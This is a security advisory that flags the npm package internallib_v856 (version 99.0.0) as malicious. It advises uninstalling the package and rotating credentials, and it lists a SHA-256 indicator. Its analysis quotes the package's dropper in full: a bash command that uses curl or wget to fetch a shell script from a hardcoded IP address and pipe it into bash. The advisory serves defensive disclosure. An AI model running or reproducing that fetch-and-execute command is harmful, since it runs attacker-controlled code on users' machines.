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Malicious package

internallib_v856npm

Malicious code in internallib_v856 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5694
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall internallib_v856

What this malware does

The package's main entry (index.js) exports a single function command() that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash", fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (name: internallib_v856, description Internal lib for testing, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.

Malicious versions

1 flagged
99.0.0

Indicators of compromise (SHA-256)

d94a6872645a3d5b938f9bc48871dbdff18068bd32d04169c3e421cd6830934a

Frequently asked questions

No. internallib_v856 on npm has been identified as a malicious package (version 99.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005788

References

Credits

  • Amazon Inspector · finder

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Supply-chain protection
internallib_v856 (npm) malicious package — MAL-2026-5694 | O3 Security